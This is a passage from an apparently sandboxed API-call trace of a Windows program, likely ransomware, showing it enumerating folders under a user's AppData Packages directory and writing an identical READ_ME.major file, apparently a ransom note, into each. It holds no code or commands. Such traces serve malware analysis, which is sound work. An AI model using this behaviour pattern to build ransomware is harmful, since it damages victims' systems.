lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.774] CloseHandle (hObject=0x8b8) returned 1 [0187.774] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0187.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.775] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.785] CloseHandle (hObject=0x8b8) returned 1 [0187.785] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0187.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.786] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.787] CloseHandle (hObject=0x8b8) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22231081, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x22231081, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x22231081, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0187.787] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.788] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.789] CloseHandle (hObject=0x8b8) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bf3dca, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bf3dca, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0187.789] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.790] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.791] CloseHandle (hObject=0x8b8) returned 1 [0187.791] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bf3dca, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bf3dca, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bf3dca, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0187.791] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.793] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.794] CloseHandle (hObject=0x8b8) returned 1 [0187.794] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0187.794] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.795] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.796] CloseHandle (hObject=0x8b8) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0187.796] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22231081, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6615b0 [0187.796] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22231081, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd7dcbdba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0187.797] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.800] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.801] CloseHandle (hObject=0x8bc) returned 1 [0187.801] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0187.801] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.801] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.802] CloseHandle (hObject=0x8bc) returned 1 [0187.803] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0187.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.804] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.805] CloseHandle (hObject=0x8bc) returned 1 [0187.805] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d33450, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0187.806] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.807] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.808] CloseHandle (hObject=0x8bc) returned 1 [0187.808] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22231081, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x22231081, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x22231081, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0187.808] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d33450, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0187.808] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.809] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.810] CloseHandle (hObject=0x8bc) returned 1 [0187.810] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0187.810] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.811] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.812] CloseHandle (hObject=0x8bc) returned 1 [0187.812] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0187.812] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.813] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.814] CloseHandle (hObject=0x8bc) returned 1 [0187.815] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcda59e5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0187.815] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0187.815] WriteFile (in: hFile=0x8bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.816] CloseHandle (hObject=0x8bc) returned 1 [0187.816] FindNextFileW (in: hFindFile=0x6615b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcda59e5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0187.817] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x222a38a5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6614f0 [0187.817] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x222a38a5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0187.817] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf292dc14, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33a8d656, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33a8d656, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0187.817] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.845] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.847] CloseHandle (hObject=0x8c0) returned 1 [0187.847] FindNextFileW (in: hFindFile=0x6614f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2907a4b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb63970, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2907a4b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0187.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0187.848] WriteFile (in: hFile=0x8c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.849] CloseHandle (hObject=0x8c0) returned 1 